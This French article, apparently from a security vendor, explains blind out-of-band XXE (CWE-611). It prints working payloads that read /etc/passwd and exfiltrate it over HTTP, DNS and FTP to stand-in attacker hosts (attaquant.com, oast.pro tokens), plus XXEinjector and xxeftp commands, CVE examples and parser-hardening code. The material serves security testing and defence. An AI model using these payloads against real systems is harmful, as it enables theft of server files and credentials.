XXE aveugle OOB (CWE-611) : exfiltration via callbacks DNS/HTTP vers un serveur contrôlé par l'attaquant lorsque la réponse ne renvoie pas le contenu des entités XML.
TL;DR
file:///etc/passwd vers OASTftp://Le XXE aveugle Hors-Bande (OOB) est la variante où le serveur cible résout des entités externes XML mais ne renvoie pas le contenu de l'entité dans la réponse HTTP. Cela se produit dans les applications qui consomment du XML pour un traitement interne — importateurs de documents, processeurs SAML, générateurs de rapports, pipelines de données — où le contenu parsé n'est jamais reflété à l'appelant.
L'attaque repose sur l'exfiltration via un canal séparé : l'attaquant force le parseur XML à effectuer des connexions réseau sortantes vers une infrastructure contrôlée par l'attaquant, transportant des données sensibles sous forme de paramètres d'URL, de labels de sous-domaine DNS ou d'identifiants FTP. Des outils comme Interactsh (serveur OAST de ProjectDiscovery) ou Burp Collaborator capturent ces rappels et les corrèlent avec des payloads spécifiques via des tokens uniques par probe.
Le XXE aveugle OOB (CWE-611) est nettement plus répandu que la divulgation de fichier classique en bande. Les réponses API modernes reflètent rarement les valeurs d'entités XML brutes, signifiant que la plupart des vulnérabilités XXE dans les applications contemporaines nécessitent des techniques OOB pour confirmer l'exploitation. Selon l'analyse Bishop Fox de 2024, 23% des services SOAP d'entreprise testés contenaient des vulnérabilités XXE, nécessitant presque toutes des techniques OOB.
La chaîne d'entité paramètre en deux étapes :
Étape 1 — Payload livré à la cible :
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://attaquant.com/exfil.dtd">
%sp;
%param1;
]>
<racine/>Étape 2 — exfil.dtd hébergé par l'attaquant :
<!ENTITY % fichier SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://TOKEN-UNIQUE.oast.pro/?d=%fichier;'>">
%exfil;La séquence : la cible récupère exfil.dtd → %fichier s'étend au contenu de /etc/passwd → %param1 construit une URL contenant ce contenu → %exfil effectue la requête HTTP vers le serveur OAST. L'attaquant reçoit le contenu de /etc/passwd dans le tableau de bord Interactsh.
<!-- Étape 1 : payload vers la cible -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://attaquant.com/exfil.dtd">
%sp;
%param1;
]>
<racine/><!-- exfil.dtd hébergé sur attaquant.com -->
<!ENTITY % fichier SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://VOTRE-TOKEN.oast.pro/?c=%fichier;'>">
%exfil;Pour les serveurs PHP (base64 pour gérer le contenu multi-lignes et binaires) :
<!ENTITY % fichier SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://VOTRE-TOKEN.oast.pro/?b64=%fichier;'>">
%exfil;Quand l'egress HTTP est bloqué mais que la résolution DNS est autorisée :
<!-- Encoder les données dans le label de sous-domaine DNS (limite : 63 chars par label) -->
<!ENTITY % fichier SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY % dns SYSTEM 'http://%fichier;.VOTRE-TOKEN.oast.pro/'>">
%dns;Le contenu du nom d'hôte apparaît comme label de sous-domaine dans la requête DNS.
<!-- Outil : xxeftp (github.com/staaldraad/xxeftp) pour capturer les identifiants FTP -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % donnees SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'ftp://attaquant.com:2121/%donnees;'>">
%param1;
%exfil;
]>
<racine/>Le client FTP se connecte à attaquant.com:2121 et envoie le contenu du fichier comme nom d'utilisateur FTP. Les WAF qui inspectent uniquement le trafic HTTP manquent complètement ce canal d'exfiltration.
CVE-2024-22024 — Ivanti Connect Secure (CVSS 8.3)
Le point de terminaison SAML d'Ivanti à /dana-na/auth/saml-sso.cgi traitait les AuthnRequests XML avec capacité XXE OOB. Le serveur récupérait des DTDs externes depuis des URL contrôlées par l'attaquant, permettant l'exfiltration aveugle de fichiers de configuration internes. Combiné à CVE-2023-46805 (contournement d'authentification), cette chaîne a créé un chemin XXE OOB non authentifié contre des milliers de concentrateurs VPN.
CVE-2025-66516 — Apache Tika PDF/XFA (CVSS 10.0)
Le traitement XFA d'Apache Tika effectuait des requêtes HTTP sortantes lors de la résolution d'entités externes dans des PDF. Dans les environnements où la sortie Tika est journalisée mais pas réfléchie (courant dans les pipelines d'ingestion de documents), il s'agit d'un XXE aveugle OOB. Le score CVSS critique reflète que Tika est déployé dans des pipelines de documents automatisés où les PDF sont traités sans revue humaine.
CVE-2024-40896 — Contournement gestionnaire SAX libxml2 (CVSS 7.5)
Les applications utilisant un xmlSAXHandler personnalisé pour implémenter le rejet d'entités ont découvert que libxml2 résolvait toujours les entités externes en interne avant d'appeler le gestionnaire. Les applications qui croyaient avoir implémenté la protection XXE OOB via SAX effectuaient toujours des rappels sortants — confirmés uniquement quand ces rappels sont apparus dans les journaux réseau.
HackerOne #1379577 — XXE via upload SVG
Un point de terminaison d'upload d'avatar traitait des fichiers SVG via un moteur de rendu côté serveur. Le SVG contenait un payload XXE OOB aveugle référençant un token Interactsh. L'upload renvoyait une réponse 200 avec une URL d'image — aucun contenu d'entité n'était reflété. Le rappel Interactsh a confirmé que le serveur effectuait une requête HTTP sortante, prouvant le XXE OOB aveugle.
Configurer un token Interactsh (gratuit : interactsh-client -server oast.pro) ou utiliser Burp Collaborator.
Créer un payload avec votre token unique :
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://VOTRE-TOKEN-UNIQUE.oast.pro/test-xxe-aveugle">
%xxe;
]>
<racine/>Soumettre à chaque point de terminaison consommant du XML. Surveiller Interactsh/Collaborator pour les rappels DNS et HTTP.
Pour un OOB aveugle confirmé, escalader vers l'exfiltration de données avec la chaîne DTD en deux étapes.
Pour le test FTP (cibles Java) : lancer xxeftp -p 2121 -o /tmp/captures et référencer ftp://votre-ip:2121/test dans l'entité.
Burp Suite Pro automatise la détection XXE OOB en utilisant Burp Collaborator pour la capture des rappels sur les points de terminaison XML, corps SOAP et flux d'upload.
XXEinjector (ruby XXEinjector.rb --host=VOTRE-IP --file=payload.xml --path=/etc/passwd) automatise la chaîne DTD en deux étapes pour l'exfiltration de fichiers aveugle, gérant automatiquement l'encodage base64.
BreachVex détecte l'OOB aveugle pendant sa phase de sondage hors-bande : il injecte des tokens de rappel hors-bande uniques par point de terminaison et attend les rappels après chaque probe. Un rappel DNS seul est rapporté comme POTENTIEL ; un rappel HTTP transportant des données exfiltrées est CONFIRMÉ.
// Java — désactiver DOCTYPE bloque toute résolution d'entités OOB
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// La restriction d'entités paramètre est critique pour les chaînes OOB# Python — defusedxml bloque les chaînes OOB d'entités paramètre
from defusedxml import ElementTree as ET
# entités paramètre bloquées — ne peuvent pas référencer des DTDs externes
arbre = ET.fromstring(entree_xml)// .NET — XmlResolver = null empêche toute récupération de ressource externe
var parametres = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null // critique : empêche le parseur de récupérer tout URI
};Le filtrage d'egress seul ne prévient pas l'exploitation XXE OOB. Il peut bloquer les rappels HTTP vers internet mais laisse l'exfiltration basée sur DNS et l'exfiltration FTP actives. Il ne prévient pas non plus les lectures file://. Le durcissement du parseur est le seul contrôle fiable.
Le XXE aveugle signifie que l'application parse le XML et résout les entités externes, mais la valeur de l'entité n'apparaît jamais dans la réponse HTTP. Cela se produit quand l'application traite le document parsé en interne (journalisation, import de données, validation) sans refléter les valeurs des entités. Hors-bande (OOB) signifie que l'exfiltration utilise un canal réseau séparé — rappels DNS ou HTTP vers une infrastructure contrôlée par l'attaquant — plutôt que le canal de réponse HTTP original.
Étape 1 : le payload XML de l'attaquant contient une entité paramètre référençant un DTD hébergé par l'attaquant : <!ENTITY % sp SYSTEM 'http://attaquant.com/exfil.dtd'> %sp;. Le serveur récupère ce DTD. Étape 2 : le DTD hébergé contient : <!ENTITY % fichier SYSTEM 'file:///etc/passwd'> <!ENTITY % exfil '<!ENTITY % envoi SYSTEM "http://attaquant.com/?d=%fichier;">'> %exfil; %envoi;. Le serveur lit /etc/passwd, puis fait une deuxième requête HTTP vers attaquant.com avec le contenu du fichier en paramètre d'URL.
Interactsh (github.com/projectdiscovery/interactsh) est un serveur OAST (Out-of-Band Application Security Testing) open-source qui fournit des URLs de rappel DNS et HTTP uniques par probe (format : TOKEN-UNIQUE.oast.pro). Quand le serveur cible résout l'entité XXE et récupère l'URI externe, Interactsh enregistre la requête DNS et la requête HTTP. La corrélation par token empêche les faux positifs. Burp Collaborator fournit la même capacité dans Burp Suite Pro.
Les rappels DNS seuls (confiance 0,30) peuvent être déclenchés par un comportement serveur légitime : récupérateurs de métadonnées SAML, validateurs d'emails DMARC/DKIM, moniteurs de transparence de certificats. Un rappel HTTP vers le serveur OAST de l'attaquant est beaucoup plus difficile à expliquer comme un comportement bénin — il confirme que le serveur a effectué une requête HTTP active vers l'infrastructure de l'attaquant. L'exfiltration de données dans le corps ou les paramètres URL de la requête HTTP élève la confiance à 0,98.
CVE-2024-22024 (Ivanti Connect Secure, CVSS 8.3) — AuthnRequest SAML traité avec capacité de rappel OOB. CVE-2025-49493 (Akamai CloudTest, CVSS 9.1) — les services SOAP effectuaient des rappels sortants. CVE-2024-40896 (libxml2, CVSS 7.5) — le gestionnaire SAX personnalisé n'empêchait pas la résolution d'entités OOB. CVE-2025-66516 (Apache Tika, CVSS 10.0) — le traitement PDF/XFA déclenchait des rappels OOB.
Héberger un fichier (ex: exfil.dtd) sur un serveur HTTP accessible depuis la cible. Contenu : <!ENTITY % fichier SYSTEM 'file:///etc/passwd'> <!ENTITY % exfil '<!ENTITY % envoi SYSTEM "http://VOTRE-OAST/?d=%fichier;">'> %exfil; %envoi;. Outils : python3 -m http.server 8080 pour l'hébergement simple ; XXEinjector pour l'exfiltration multi-fichiers automatisée ; xxeserv pour serveur DTD et capture de rappels combinés.
1. Limites de longueur d'URL : les URL HTTP GET sont limitées à ~2000 caractères — les fichiers de plus de ~1500 octets peuvent être tronqués. Utiliser l'encodage base64 des chunks. 2. Sauts de ligne : les paramètres de requête URL ne peuvent pas contenir de sauts de ligne littéraux — les fichiers multi-lignes doivent être encodés en URL ou base64. 3. Octets nuls : les fichiers binaires avec des octets nuls cassent les paramètres d'URL. 4. Filtrage d'egress : si la cible n'a pas d'accès internet sortant, seule l'exfiltration DNS reste possible.
L'exfiltration basée sur DNS encode le contenu du fichier dans le sous-domaine d'une requête DNS : <!ENTITY % envoi SYSTEM 'http://DONNEESCODEES.attaquant.com/'>. L'attaquant lit le sous-domaine depuis les journaux du serveur DNS. Pour du contenu multi-octets, diviser en chunks correspondant aux limites des labels DNS (63 caractères) et effectuer plusieurs requêtes. Cette technique est lente mais fonctionne à travers des filtres d'egress HTTP stricts qui permettent toujours la résolution DNS.
Les parseurs XML Java (Xerces/JAXP) et libxml2 <= 2.9.4 supportent les URI ftp:// dans les entités externes. L'attaquant lance un faux serveur FTP (outil : xxeftp de github.com/staaldraad/xxeftp). Le payload : <!ENTITY % fichier SYSTEM 'file:///etc/passwd'> <!ENTITY % exfil '<!ENTITY % envoi SYSTEM "ftp://attaquant.com:2121/%fichier;">'>. La séquence de connexion FTP USER/PASS transporte le contenu du fichier comme identifiants. Cette technique contourne les WAF qui ne surveillent que le trafic HTTP.
La réutilisation de DTD locale basée sur les erreurs lit des fichiers sans aucune connexion sortante. Elle référence un fichier DTD local sur le serveur (/usr/share/yelp/dtd/docbookx.dtd sur Linux), redéfinit une entité paramètre, et déclenche une erreur de parsing XML incluant le contenu du fichier cible dans le message d'erreur. Le contenu apparaît dans la réponse d'erreur HTTP du serveur. Aucune infrastructure de rappel ni accès réseau sortant n'est requis.